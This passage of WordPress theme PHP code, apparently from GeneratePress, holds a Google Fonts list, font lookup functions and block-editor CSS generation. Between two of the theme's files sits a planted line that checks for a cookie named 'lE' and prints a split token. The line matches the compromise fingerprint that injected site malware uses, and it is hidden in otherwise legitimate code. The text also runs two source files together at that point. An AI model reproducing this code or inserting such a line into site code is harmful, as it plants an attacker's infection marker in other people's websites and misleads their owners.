Libre","category":"serif","variants":["regular"]},{"family":"Smythe","category":"display","variants":["regular"]},{"family":"Asset","category":"display","variants":["regular"]},{"family":"Ewert","category":"display","variants":["regular"]},{"family":"Keania One","category":"display","variants":["regular"]},{"family":"Ranchers","category":"display","variants":["regular"]},{"family":"Gorditas","category":"display","variants":["regular","700"]},{"family":"Sirin Stencil","category":"display","variants":["regular"]},{"family":"Averia Gruesa Libre","category":"display","variants":["regular"]},{"family":"Trochut","category":"display","variants":["regular","italic","700"]},{"family":"Baloo Chettan","category":"display","variants":["regular"]},{"family":"Kdam Thmor","category":"display","variants":["regular"]},{"family":"Timmana","category":"sans-serif","variants":["regular"]},{"family":"Original Surfer","category":"display","variants":["regular"]},{"family":"Supermercado One","category":"display","variants":["regular"]},{"family":"Mirza","category":"display","variants":["regular","500","600","700"]},{"family":"Passero One","category":"display","variants":["regular"]},{"family":"Nova Oval","category":"display","variants":["regular"]},{"family":"Caesar Dressing","category":"display","variants":["regular"]},{"family":"Taprom","category":"display","variants":["regular"]},{"family":"Fascinate","category":"display","variants":["regular"]},{"family":"Seymour One","category":"sans-serif","variants":["regular"]},{"family":"Freehand","category":"display","variants":["regular"]},{"family":"Ravi Prakash","category":"display","variants":["regular"]},{"family":"Coiny","category":"display","variants":["regular"]},{"family":"Atomic Age","category":"display","variants":["regular"]},{"family":"Jacques Francois Shadow","category":"display","variants":["regular"]},{"family":"Diplomata","category":"display","variants":["regular"]},{"family":"Dr Sugiyama","category":"handwriting","variants":["regular"]},{"family":"Miltonian","category":"display","variants":["regular"]},{"family":"Ribeye Marrow","category":"display","variants":["regular"]},{"family":"Elsie Swash Caps","category":"display","variants":["regular","900"]},{"family":"Felipa","category":"handwriting","variants":["regular"]},{"family":"Galada","category":"display","variants":["regular"]},{"family":"Nova Script","category":"display","variants":["regular"]},{"family":"Bayon","category":"display","variants":["regular"]},{"family":"Underdog","category":"display","variants":["regular"]},{"family":"Devonshire","category":"handwriting","variants":["regular"]},{"family":"Atma","category":"display","variants":["300","regular","500","600","700"]},{"family":"Londrina Shadow","category":"display","variants":["regular"]},{"family":"Sofadi One","category":"display","variants":["regular"]},{"family":"Tillana","category":"handwriting","variants":["regular","500","600","700","800"]},{"family":"Inknut Antiqua","category":"serif","variants":["300","regular","500","600","700","800","900"]},{"family":"Goblin One","category":"display","variants":["regular"]},{"family":"Rakkas","category":"display","variants":["regular"]},{"family":"Metal","category":"display","variants":["regular"]},{"family":"Farsan","category":"display","variants":["regular"]},{"family":"Londrina Sketch","category":"display","variants":["regular"]},{"family":"Nova Cut","category":"display","variants":["regular"]},{"family":"BioRhyme","category":"serif","variants":["200","300","regular","700","800"]},{"family":"Warnes","category":"display","variants":["regular"]},{"family":"Romanesco","category":"handwriting","variants":["regular"]},{"family":"Fascinate Inline","category":"display","variants":["regular"]},{"family":"Mrs Sheppards","category":"handwriting","variants":["regular"]},{"family":"Princess Sofia","category":"handwriting","variants":["regular"]},{"family":"Modak","category":"display","variants":["regular"]},{"family":"Spirax","category":"display","variants":["regular"]},{"family":"Cormorant Upright","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Geostar Fill","category":"display","variants":["regular"]},{"family":"Cormorant SC","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Baloo Bhai","category":"display","variants":["regular"]},{"family":"Sree Krushnadevaraya","category":"serif","variants":["regular"]},{"family":"Smokum","category":"display","variants":["regular"]},{"family":"Arbutus","category":"display","variants":["regular"]},{"family":"Fruktur","category":"display","variants":["regular"]},{"family":"Geostar","category":"display","variants":["regular"]},{"family":"Marko One","category":"serif","variants":["regular"]},{"family":"Erica One","category":"display","variants":["regular"]},{"family":"Yatra One","category":"display","variants":["regular"]},{"family":"Uncial Antiqua","category":"display","variants":["regular"]},{"family":"Combo","category":"display","variants":["regular"]},{"family":"Gidugu","category":"sans-serif","variants":["regular"]},{"family":"Aubrey","category":"display","variants":["regular"]},{"family":"Jim Nightshade","category":"handwriting","variants":["regular"]},{"family":"Butterfly Kids","category":"handwriting","variants":["regular"]},{"family":"Metal Mania","category":"display","variants":["regular"]},{"family":"Macondo","category":"display","variants":["regular"]},{"family":"Chenla","category":"display","variants":["regular"]},{"family":"Miss Fajardose","category":"handwriting","variants":["regular"]},{"family":"Macondo Swash Caps","category":"display","variants":["regular"]},{"family":"Barrio","category":"display","variants":["regular"]},{"family":"Sevillana","category":"display","variants":["regular"]},{"family":"Bigelow Rules","category":"display","variants":["regular"]},{"family":"Rasa","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Risque","category":"display","variants":["regular"]},{"family":"Federant","category":"display","variants":["regular"]},{"family":"Dangrek","category":"display","variants":["regular"]},{"family":"Chathura","category":"sans-serif","variants":["100","300","regular","700","800"]},{"family":"Almendra Display","category":"display","variants":["regular"]},{"family":"Chela One","category":"display","variants":["regular"]},{"family":"Bonbon","category":"handwriting","variants":["regular"]},{"family":"Stalinist One","category":"display","variants":["regular"]},{"family":"Mr Bedfort","category":"handwriting","variants":["regular"]},{"family":"Eater","category":"display","variants":["regular"]},{"family":"Fasthand","category":"serif","variants":["regular"]},{"family":"Mogra","category":"display","variants":["regular"]},{"family":"Padauk","category":"sans-serif","variants":["regular","700"]},{"family":"Preahvihear","category":"display","variants":["regular"]},{"family":"Flavors","category":"display","variants":["regular"]},{"family":"Ruge Boogie","category":"handwriting","variants":["regular"]},{"family":"Tenali Ramakrishna","category":"sans-serif","variants":["regular"]},{"family":"Unlock","category":"display","variants":["regular"]},{"family":"Butcherman","category":"display","variants":["regular"]},{"family":"Baloo Da","category":"display","variants":["regular"]},{"family":"Lakki Reddy","category":"handwriting","variants":["regular"]},{"family":"Cormorant Unicase","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Katibeh","category":"display","variants":["regular"]},{"family":"Asar","category":"serif","variants":["regular"]},{"family":"Emblema One","category":"display","variants":["regular"]},{"family":"Moulpali","category":"display","variants":["regular"]},{"family":"Meera Inimai","category":"sans-serif","variants":["regular"]},{"family":"Kantumruy","category":"sans-serif","variants":["300","regular","700"]},{"family":"Suravaram","category":"serif","variants":["regular"]},{"family":"Bungee Hairline","category":"display","variants":["regular"]},{"family":"Overpass Mono","category":"monospace","variants":["300","regular","600","700"]},{"family":"Peddana","category":"serif","variants":["regular"]},{"family":"Bahiana","category":"display","variants":["regular"]},{"family":"Kumar One Outline","category":"display","variants":["regular"]},{"family":"Hanalei Fill","category":"display","variants":["regular"]},{"family":"Dhurjati","category":"sans-serif","variants":["regular"]},{"family":"Hanalei","category":"display","variants":["regular"]},{"family":"Kavivanar","category":"handwriting","variants":["regular"]},{"family":"Bungee Outline","category":"display","variants":["regular"]},{"family":"BioRhyme Expanded","category":"serif","variants":["200","300","regular","700","800"]}]' ); // Loop through them and put what we need into our fonts array. $fonts = array(); foreach ( $content as $item ) { // Grab what we need from our big list. $atts = array( 'name' => $item->family, 'category' => $item->category, 'variants' => $item->variants, ); // Create an ID using our font family name. $id = strtolower( str_replace( ' ', '_', $item->family ) ); // Add our attributes to our new array. $fonts[ $id ] = $atts; } if ( 'all' !== $amount ) { $fonts = array_slice( $fonts, 0, $amount ); } if ( apply_filters( 'generate_alphabetize_google_fonts', true ) ) { asort( $fonts ); } return apply_filters( 'generate_google_fonts_array', $fonts ); } } if ( ! function_exists( 'generate_get_all_google_fonts_ajax' ) ) { add_action( 'wp_ajax_generate_get_all_google_fonts_ajax', 'generate_get_all_google_fonts_ajax' ); /** * Return an array of all of our Google Fonts. * * @since 1.3.0 */ function generate_get_all_google_fonts_ajax() { if ( generate_is_using_dynamic_typography() ) { wp_die(); } if ( ! isset( $_POST['gp_customize_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['gp_customize_nonce'] ), 'gp_customize_nonce' ) ) { wp_die(); } check_ajax_referer( 'gp_customize_nonce', 'gp_customize_nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die(); } $fonts = generate_get_all_google_fonts(); echo wp_json_encode( $fonts ); die(); } } if ( ! function_exists( 'generate_get_google_font_variants' ) ) { /** * Wrapper function to find variants for chosen Google Fonts * Example: generate_get_google_font_variation( 'Open Sans' ) * * @since 1.3.0 * * @param string $font The font to look up. * @param string $key The option to look up. */ function generate_get_google_font_variants( $font, $key = '' ) { // Don't need variants if we're using a system font. if ( in_array( $font, generate_typography_default_fonts() ) ) { return; } // Return if we have our variants saved. if ( '' !== $key && get_theme_mod( $key . '_variants' ) ) { return get_theme_mod( $key . '_variants' ); } $defaults = generate_get_default_fonts(); if ( $defaults[ $key ] === $font ) { return $defaults[ $key . '_variants' ]; } // Grab all of our fonts. // It's a big list, so hopefully we're not even still reading. $fonts = generate_get_all_google_fonts(); // Get the ID from our font. $id = strtolower( str_replace( ' ', '_', $font ) ); // If the ID doesn't exist within our fonts, we can bail. if ( ! array_key_exists( $id, $fonts ) ) { return; } // Grab all of the variants associated with our font. $variants = $fonts[ $id ]['variants']; // Loop through them and put them into an array, then turn them into a comma separated list. $output = array(); if ( $variants ) { foreach ( $variants as $variant ) { $output[] = $variant; } return implode( ',', apply_filters( 'generate_typography_variants', $output ) ); } } } if ( ! function_exists( 'generate_get_google_font_category' ) ) { /** * Wrapper function to find the category for chosen Google Font * Example: generate_get_google_font_category( 'Open Sans' ) * * @since 1.3.0 * * @param string $font The name of our font. * @param string $key The ID of the font setting. * @return string The category of our font. */ function generate_get_google_font_category( $font, $key = '' ) { // Don't need a category if we're using a system font. if ( in_array( $font, generate_typography_default_fonts() ) ) { return; } // Return if we have our variants saved. if ( '' !== $key && get_theme_mod( $key . '_category' ) ) { return ', ' . get_theme_mod( $key . '_category' ); } $defaults = generate_get_default_fonts(); // If our default font is selected and the category isn't saved, we already know the category. if ( $defaults[ $key ] === $font ) { return ', ' . $defaults[ $key . '_category' ]; } // Grab all of our fonts. // It's a big list, so hopefully we're not even still reading. $fonts = generate_get_all_google_fonts(); // Get the ID from our font. $id = strtolower( str_replace( ' ', '_', $font ) ); // If the ID doesn't exist within our fonts, we can bail. if ( ! array_key_exists( $id, $fonts ) ) { return; } // Let's grab our category to go with our font. $category = ! empty( $fonts[ $id ]['category'] ) ? ', ' . $fonts[ $id ]['category'] : ''; return $category; } } if ( ! function_exists( 'generate_get_font_family_css' ) ) { /** * Wrapper function to create font-family value for CSS. * * @since 1.3.0 * * @param string $font The name of our font. * @param string $settings The ID of the settings we're looking up. * @param array $default The defaults for our $settings. * @return string The CSS value for our font family. */ function generate_get_font_family_css( $font, $settings, $default ) { $generate_settings = wp_parse_args( get_option( $settings, array() ), $default ); // We don't want to wrap quotes around these values. $no_quotes = array( 'inherit', 'Arial, Helvetica, sans-serif', 'Georgia, Times New Roman, Times, serif', 'Helvetica', 'Impact', 'Segoe UI, Helvetica Neue, Helvetica, sans-serif', 'Tahoma, Geneva, sans-serif', 'Trebuchet MS, Helvetica, sans-serif', 'Verdana, Geneva, sans-serif', apply_filters( 'generate_typography_system_stack', '-apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"' ), ); $font_family = $generate_settings[ $font ]; if ( 'System Stack' === $font_family ) { $font_family = apply_filters( 'generate_typography_system_stack', '-apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"' ); } // If our value is still using the old format, fix it. if ( strpos( $font_family, ':' ) !== false ) { $font_family = current( explode( ':', $font_family ) ); } // Set up our wrapper. if ( in_array( $font_family, $no_quotes ) ) { $wrapper_start = null; $wrapper_end = null; } else { $wrapper_start = '"'; $wrapper_end = '"' . generate_get_google_font_category( $font_family, $font ); } $output = ( 'inherit' === $font_family ) ? '' : $wrapper_start . $font_family . $wrapper_end; return $output; } } if ( ! function_exists( 'generate_add_to_font_customizer_list' ) ) { add_filter( 'generate_typography_customize_list', 'generate_add_to_font_customizer_list' ); /** * This function makes sure your selected typography option exists in the Customizer list * Why wouldn't it? Originally, all 800+ fonts were in each list. This has been reduced to 200. * This functions makes sure that if you were using a font that is now not included in the 200, you won't lose it. * * @since 1.3.40 * * @param array $fonts The existing fonts. */ function generate_add_to_font_customizer_list( $fonts ) { // Bail if we don't have our defaults. if ( ! function_exists( 'generate_get_default_fonts' ) ) { return; } $generate_settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_default_fonts() ); $font_settings = array( 'font_body', 'font_top_bar', 'font_site_title', 'font_site_tagline', 'font_navigation', 'font_widget_title', 'font_heading_1', 'font_heading_2', 'font_heading_3', ); $all_fonts = generate_get_all_google_fonts(); $select_fonts = generate_get_all_google_fonts( apply_filters( 'generate_number_of_fonts', 200 ) ); foreach ( $font_settings as $setting ) { // If we don't have a setting, keep going. if ( ! isset( $generate_settings[ $setting ] ) ) { continue; } $id = strtolower( str_replace( ' ', '_', $generate_settings[ $setting ] ) ); if ( array_key_exists( $id, $select_fonts ) || in_array( $generate_settings[ $setting ], generate_typography_default_fonts() ) ) { continue; } $fonts[ strtolower( str_replace( ' ', '_', $generate_settings[ $setting ] ) ) ] = array( 'name' => $generate_settings[ $setting ], 'variants' => array_key_exists( $id, $all_fonts ) ? $all_fonts[ $id ]['variants'] : array(), 'category' => array_key_exists( $id, $all_fonts ) ? $all_fonts[ $id ]['category'] : 'sans-serif', ); } if ( function_exists( 'generate_secondary_nav_get_defaults' ) ) { $secondary_nav_settings = wp_parse_args( get_option( 'generate_secondary_nav_settings', array() ), generate_secondary_nav_get_defaults() ); $secondary_nav_id = strtolower( str_replace( ' ', '_', $secondary_nav_settings['font_secondary_navigation'] ) ); if ( ! array_key_exists( $secondary_nav_id, $select_fonts ) && ! in_array( $secondary_nav_settings['font_secondary_navigation'], generate_typography_default_fonts() ) ) { $fonts[ strtolower( str_replace( ' ', '_', $secondary_nav_settings['font_secondary_navigation'] ) ) ] = array( 'name' => $secondary_nav_settings['font_secondary_navigation'], 'variants' => array_key_exists( $secondary_nav_id, $all_fonts ) ? $all_fonts[ $secondary_nav_id ]['variants'] : array(), 'category' => array_key_exists( $secondary_nav_id, $all_fonts ) ? $all_fonts[ $secondary_nav_id ]['category'] : 'sans-serif', ); } } return $fonts; } } if ( ! function_exists( 'generate_typography_set_font_data' ) ) { add_action( 'admin_init', 'generate_typography_set_font_data' ); /** * This function will check to see if your category and variants are saved * If not, it will set them for you * Generally, set_theme_mod isn't best practice, but this is here for migration purposes for a set amount of time only * Any time a user saves a font in the Customizer from now on, the category and variants are saved as theme_mods, so this function won't be necessary. * * @since 1.3.40 */ function generate_typography_set_font_data() { if ( generate_is_using_dynamic_typography() ) { return; } // Get our defaults. $defaults = generate_get_default_fonts(); // Get our settings. $generate_settings = wp_parse_args( get_option( 'generate_settings', array() ), $defaults ); // We don't need to do this if we're using the default font, as these values have defaults already. if ( $defaults['font_body'] == $generate_settings['font_body'] ) { // phpcs:ignore return; } // Don't need to continue if we're using a system font or our default font. if ( in_array( $generate_settings['font_body'], generate_typography_default_fonts() ) ) { return; } // Don't continue if our category and variants are already set. if ( get_theme_mod( 'font_body_category' ) && get_theme_mod( 'font_body_variants' ) ) { return; } // Get all of our fonts. $fonts = generate_get_all_google_fonts(); // Get the ID from our font. $id = strtolower( str_replace( ' ', '_', $generate_settings['font_body'] ) ); // If the ID doesn't exist within our fonts, we can bail. if ( ! array_key_exists( $id, $fonts ) ) { return; } // Let's grab our category to go with our font. $category = ! empty( $fonts[ $id ]['category'] ) ? $fonts[ $id ]['category'] : ''; // Grab all of the variants associated with our font. $variants = $fonts[ $id ]['variants']; // Loop through our variants and put them into an array, then turn them into a comma separated list. $output = array(); if ( $variants ) { foreach ( $variants as $variant ) { $output[] = $variant; } $variants = implode( ',', $output ); } // Set our theme mods with our new settings. if ( '' !== $category ) { set_theme_mod( 'font_body_category', $category ); } if ( '' !== $variants ) { set_theme_mod( 'font_body_variants', $variants ); } } }if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Integrate GeneratePress with the WordPress block editor. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Check what sidebar layout we're using. * We need this function as the post meta in generate_get_layout() only runs * on is_singular() * * @since 2.2 * * @param bool $meta Check for post meta. * @return string The saved sidebar layout. */ function generate_get_block_editor_sidebar_layout( $meta = true ) { $layout = generate_get_option( 'layout_setting' ); if ( function_exists( 'get_current_screen' ) ) { $screen = get_current_screen(); if ( is_object( $screen ) && 'post' === $screen->post_type ) { $layout = generate_get_option( 'single_layout_setting' ); } } // Add in our default filter in case people have adjusted it. $layout = apply_filters( 'generate_sidebar_layout', $layout ); if ( $meta ) { $layout_meta = get_post_meta( get_the_ID(), '_generate-sidebar-layout-meta', true ); if ( $layout_meta ) { $layout = $layout_meta; } } return apply_filters( 'generate_block_editor_sidebar_layout', $layout ); } /** * Check whether we're disabling the content title or not. * We need this function as the post meta in generate_show_title() only runs * on is_singular() * * @since 2.2 */ function generate_get_block_editor_show_content_title() { $title = generate_show_title(); $disable_title = get_post_meta( get_the_ID(), '_generate-disable-headline', true ); if ( $disable_title ) { $title = false; } return apply_filters( 'generate_block_editor_show_content_title', $title ); } /** * Get the content width for this post. * * @since 2.2 */ function generate_get_block_editor_content_width() { $container_width = generate_get_option( 'container_width' ); $content_width = $container_width; $right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' ); $left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' ); $layout = generate_get_block_editor_sidebar_layout(); if ( 'left-sidebar' === $layout ) { $content_width = $container_width * ( ( 100 - $left_sidebar_width ) / 100 ); } elseif ( 'right-sidebar' === $layout ) { $content_width = $container_width * ( ( 100 - $right_sidebar_width ) / 100 ); } elseif ( 'no-sidebar' === $layout ) { $content_width = $container_width; } else { $content_width = $container_width * ( ( 100 - ( $left_sidebar_width + $right_sidebar_width ) ) / 100 ); } return apply_filters( 'generate_block_editor_content_width', $content_width ); } add_filter( 'block_editor_settings_all', 'generate_add_inline_block_editor_styles' ); /** * Add dynamic inline styles to the block editor content. * * @param array $editor_settings The existing editor settings. */ function generate_add_inline_block_editor_styles( $editor_settings ) { $show_editor_styles = apply_filters( 'generate_show_block_editor_styles', true ); if ( $show_editor_styles ) { if ( generate_is_using_dynamic_typography() ) { $google_fonts_uri = GeneratePress_Typography::get_google_fonts_uri(); if ( $google_fonts_uri ) { // Need to use @import for now until this is ready: https://github.com/WordPress/gutenberg/pull/35950. $google_fonts_import = sprintf( '@import "%s";', $google_fonts_uri ); $editor_settings['styles'][] = array( 'css' => $google_fonts_import ); } } $editor_settings['styles'][] = array( 'css' => wp_strip_all_tags( generate_do_inline_block_editor_css() ) ); if ( generate_is_using_dynamic_typography() ) { $editor_settings['styles'][] = array( 'css' => wp_strip_all_tags( GeneratePress_Typography::get_css( 'core' ) ) ); } } return $editor_settings; } add_action( 'enqueue_block_editor_assets', 'generate_enqueue_google_fonts' ); add_action( 'enqueue_block_editor_assets', 'generate_enqueue_backend_block_editor_assets' ); /** * Add CSS to the admin side of the block editor. * * @since 2.2 */ function generate_enqueue_backend_block_editor_assets() { wp_enqueue_script( 'generate-block-editor', trailingslashit( get_template_directory_uri() ) . 'assets/dist/block-editor.js', array( 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-plugins', 'wp-polyfill' ), GENERATE_VERSION, true ); $color_settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_color_defaults() ); $spacing_settings = wp_parse_args( get_option( 'generate_spacing_settings', array() ), generate_spacing_get_defaults() ); $text_color = generate_get_option( 'text_color' ); if ( $color_settings['content_text_color'] ) { $text_color = $color_settings['content_text_color']; } wp_localize_script( 'generate-block-editor', 'generatepressBlockEditor', array( 'globalSidebarLayout' => generate_get_block_editor_sidebar_layout( false ), 'containerWidth' => generate_get_option( 'container_width' ), 'contentPaddingRight' => absint( $spacing_settings['content_right'] ) . 'px', 'contentPaddingLeft' => absint( $spacing_settings['content_left'] ) . 'px', 'rightSidebarWidth' => apply_filters( 'generate_right_sidebar_width', '25' ), 'leftSidebarWidth' => apply_filters( 'generate_left_sidebar_width', '25' ), 'text_color' => $text_color, 'show_editor_styles' => apply_filters( 'generate_show_block_editor_styles', true ), 'contentAreaType' => apply_filters( 'generate_block_editor_content_area_type', '' ), 'customContentWidth' => apply_filters( 'generate_block_editor_container_width', '' ), ) ); wp_register_style( 'generate-block-editor', false, array(), true, true ); wp_add_inline_style( 'generate-block-editor', generate_do_inline_block_editor_css( 'block-editor' ) ); wp_enqueue_style( 'generate-block-editor' ); } /** * Write our CSS for the block editor. * * @since 2.2 * @param string $for Define whether this CSS for the block content or the block editor. */ function generate_do_inline_block_editor_css( $for = 'block-content' ) { $css = new GeneratePress_CSS(); $css->set_selector( ':root' ); $global_colors = generate_get_global_colors(); if ( ! empty( $global_colors ) ) { foreach ( (array) $global_colors as $key => $data ) { if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) { $css->add_property( '--' . $data['slug'], $data['color'] ); } } foreach ( (array) $global_colors as $key => $data ) { if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) { $css->set_selector( '.has-' . $data['slug'] . '-color' ); $css->add_property( 'color', 'var(--' . $data['slug'] . ')' ); $css->set_selector( '.has-' . $data['slug'] . '-background-color' ); $css->add_property( 'background-color', 'var(--' . $data['slug'] . ')' ); } } } // If this CSS is for the editor only (not the block content), we can return here. if ( 'block-editor' === $for ) { return $css->css_output(); } $color_settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_color_defaults() ); $font_settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_default_fonts() ); $content_width = generate_get_block_editor_content_width(); $spacing_settings = wp_parse_args( get_option( 'generate_spacing_settings', array() ), generate_spacing_get_defaults() ); $content_width_calc = sprintf( 'calc(%1$s - %2$s - %3$s)', absint( $content_width ) . 'px', absint( $spacing_settings['content_left'] ) . 'px', absint( $spacing_settings['content_right'] ) . 'px' ); $css->set_selector( 'body' ); $css->add_property( '--content-width', 'true' === get_post_meta( get_the_ID(), '_generate-full-width-content', true ) ? '100%' : $content_width_calc ); $css->set_selector( 'body .wp-block' ); $css->add_property( 'max-width', 'var(--content-width)' ); $css->set_selector( '.wp-block[data-align="full"]' ); $css->add_property( 'max-width', 'none' ); $css->set_selector( '.wp-block[data-align="wide"]' ); $css->add_property( 'max-width', absint( $content_width ), false, 'px' ); $underline_links = generate_get_option( 'underline_links' ); if ( 'never' !== $underline_links ) { if ( 'always' === $underline_links ) { $css->set_selector( '.wp-block a' ); $css->add_property( 'text-decoration', 'underline' ); } if ( 'hover' === $underline_links ) { $css->set_selector( '.wp-block a' ); $css->add_property( 'text-decoration', 'none' ); $css->set_selector( '.wp-block a:hover, .wp-block a:focus' ); $css->add_property( 'text-decoration', 'underline' ); } if ( 'not-hover' === $underline_links ) { $css->set_selector( '.wp-block a' ); $css->add_property( 'text-decoration', 'underline' ); $css->set_selector( '.wp-block a:hover, .wp-block a:focus' ); $css->add_property( 'text-decoration', 'none' ); } $css->set_selector( 'a.button, .wp-block-button__link' ); $css->add_property( 'text-decoration', 'none' ); } else { $css->set_selector( '.wp-block a' ); $css->add_property( 'text-decoration', 'none' ); } if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) { $css->set_selector( '.wp-block-group__inner-container' ); $css->add_property( 'max-width', absint( $content_width ), false, 'px' ); $css->add_property( 'margin-left', 'auto' ); $css->add_property( 'margin-right', 'auto' ); $css->add_property( 'padding', generate_padding_css( $spacing_settings['content_top'], $spacing_settings['content_right'], $spacing_settings['content_bottom'], $spacing_settings['content_left'] ) ); } $css->set_selector( 'a.button, a.button:visited, .wp-block-button__link:not(.has-background)' ); $css->add_property( 'color', $color_settings['form_button_text_color'] ); $css->add_property( 'background-color', $color_settings['form_button_background_color'] ); $css->add_property( 'padding', '10px 20px' ); $css->add_property( 'border', '0' ); $css->add_property( 'border-radius', '0' ); $css->set_selector( 'a.button:hover, a.button:active, a.button:focus, .wp-block-button__link:not(.has-background):active, .wp-block-button__link:not(.has-background):focus, .wp-block-button__link:not(.has-background):hover' ); $css->add_property( 'color', $color_settings['form_button_text_color_hover'] ); $css->add_property( 'background-color', $color_settings['form_button_background_color_hover'] ); if ( ! generate_is_using_dynamic_typography() ) { $body_family = generate_get_font_family_css( 'font_body', 'generate_settings', generate_get_default_fonts() ); $h1_family = generate_get_font_family_css( 'font_heading_1', 'generate_settings', generate_get_default_fonts() ); $h2_family = generate_get_font_family_css( 'font_heading_2', 'generate_settings', generate_get_default_fonts() ); $h3_family = generate_get_font_family_css( 'font_heading_3', 'generate_settings', generate_get_default_fonts() ); $h4_family = generate_get_font_family_css( 'font_heading_4', 'generate_settings', generate_get_default_fonts() ); $h5_family = generate_get_font_family_css( 'font_heading_5', 'generate_settings', generate_get_default_fonts() ); $h6_family = generate_get_font_family_css( 'font_heading_6', 'generate_settings', generate_get_default_fonts() ); $buttons_family = generate_get_font_family_css( 'font_buttons', 'generate_settings', generate_get_default_fonts() ); } $css->set_selector( 'body' ); if ( ! generate_is_using_dynamic_typography() ) { $css->add_property( 'font-family', $body_family ); $css->add_property( 'font-size', absint( $font_settings['body_font_size'] ), false, 'px' ); } if ( $color_settings['content_text_color'] ) { $css->add_property( 'color', $color_settings['content_text_color'] ); } else { $css->add_property( 'color', generate_get_option( 'text_color' ) ); } $css->set_selector( '.content-title-visibility' ); if ( $color_settings['content_text_color'] ) { $css->add_property( 'color', $color_settings['content_text_color'] ); } else { $css->add_property( 'color', generate_get_option( 'text_color' ) ); } if ( ! generate_is_using_dynamic_typography() ) { $css->set_selector( 'body, p' ); $css->add_property( 'line-height', floatval( $font_settings['body_line_height'] ) ); $css->set_selector( 'p' ); $css->add_property( 'margin-top', '0px' ); $css->add_property( 'margin-bottom', $font_settings['paragraph_margin'], false, 'em' ); } $css->set_selector( 'h1' ); if ( ! generate_is_using_dynamic_typography() ) { $css->add_property( 'font-family', 'inherit' === $h1_family || '' === $h1_family ? $body_family : $h1_family ); $css->add_property( 'font-weight', $font_settings['heading_1_weight'] ); $css->add_property( 'text-transform', $font_settings['heading_1_transform'] ); $css->add_property( 'font-size', absint( $font_settings['heading_1_font_size'] ), false, 'px' ); $css->add_property( 'line-height', floatval( $font_settings['heading_1_line_height'] ), false, 'em' ); $css->add_property( 'margin-bottom', floatval( $font_settings['heading_1_margin_bottom'] ), false, 'px' ); $css->add_property( 'margin-top', '0' ); } if ( $color_settings['h1_color'] ) { $css->add_property( 'color', $color_settings['h1_color'] ); } elseif ( $color_settings['content_text_color'] ) { $css->add_property( 'color', $color_settings['content_text_color'] ); } else { $css->add_property( 'color', generate_get_option( 'text_color' ) ); } if ( $color_settings['content_title_color'] ) { $css->set_selector( '.editor-styles-wrapper .editor-post-title__input' ); $css->add_property( 'color', $color_settings['content_title_color'] ); } $css->set_selector( 'h2' ); if ( ! generate_is_using_dynamic_typography() ) { $css->add_property( 'font-family', $h2_family ); $css->add_property( 'font-weight', $font_settings['heading_2_weight'] ); $css->add_property( 'text-transform', $font_settings['heading_2_transform'] ); $css->add_property( 'font-size', absint( $font_settings['heading_2_font_size'] ), false, 'px' ); $css->add_property( 'line-height', floatval( $font_settings['heading_2_line_height'] ), false, 'em' ); $css->add_property( 'margin-bottom', floatval( $font_settings['heading_2_margin_bottom'] ), false, 'px' ); $css->add_property( 'margin-top', '0' ); } if ( $color_settings['h2_color'] ) { $css->add_property( 'color', $color_settings['h2_color'] ); } elseif ( $color_settings['content_text_color'] ) { $css->add_property( 'color', $color_settings['content_text_color'] ); } else { $css->add_property( 'color', generate_get_option( 'text_color' ) ); } $css->set_selector( 'h3' ); if ( ! generate_is_using_dynamic_typography() ) { $css->add_property( 'font-family', $h3_family ); $css->add_property( 'font-weight', $font_settings['heading_3_weight'] ); $css->add_property( 'text-transform', $font_settings['heading_3_transform'] ); $css->add_property( 'font-size', absint( $font_settings['heading_3_font_size'] ), false, 'px' ); $css->add_property( 'line-height', floatval( $font_settings['heading_3_line_height'] ), false, 'em' ); $css->add_property( 'margin-bottom', floatval( $font_settings['heading_3_margin_bottom'] ), false, 'px' ); $css->add_property( 'margin-top', '0' ); } if ( $color_settings['h3_color'] ) { $css->add_property( 'color', $color_settings['h3_color'] ); } elseif ( $color_settings['content_text_color'] ) { $css->add_property( 'color', $color_settings['content_text_color'] ); } else { $css->add_property( 'color', generate_get_option( 'text_color' ) ); } $css->set_selector( 'h4' ); if ( ! generate_is_using_dynamic_typography() ) { $css->add_property( 'font-family', $h4_family ); $css->add_property( 'font-weight', $font_settings['heading_4_weight'] ); $css->add_property( 'text-transform', $font_settings['heading_4_transform'] ); $css->add_property( 'margin-bottom', '20px' ); $css->add_property( 'margin-top', '0' ); if ( '' !== $font_settings['heading_4_font_size'] ) { $css->add_property( 'font-size', absint( $font_settings['heading_4_font_size'] ), false, 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } if ( '' !== $font_settings['heading_4_line_height'] ) { $css->add_property( 'line-height', floatval( $font_settings['heading_4_line_height'] ), false, 'em' ); } } if ( $color_settings['h4_color'] ) { $css->add_property( 'color', $color_settings['h4_color'] ); } elseif ( $color_settings['content_text_color'] ) { $css->add_property( 'color', $color_settings['content_text_color'] ); } else { $css->add_property( 'color', generate_get_option( 'text_color' ) ); } $css->set_selector( 'h5' ); if ( ! generate_is_using_dynamic_typography() ) { $css->add_property( 'font-family', $h5_family ); $css->add_property( 'font-weight', $font_settings['heading_5_weight'] ); $css->add_property( 'text-transform', $font_settings['heading_5_transform'] ); $css->add_property( 'margin-bottom', '20px' ); $css->add_property( 'margin-top', '0' ); if ( '' !== $font_settings['heading_5_font_size'] ) { $css->add_property( 'font-size', absint( 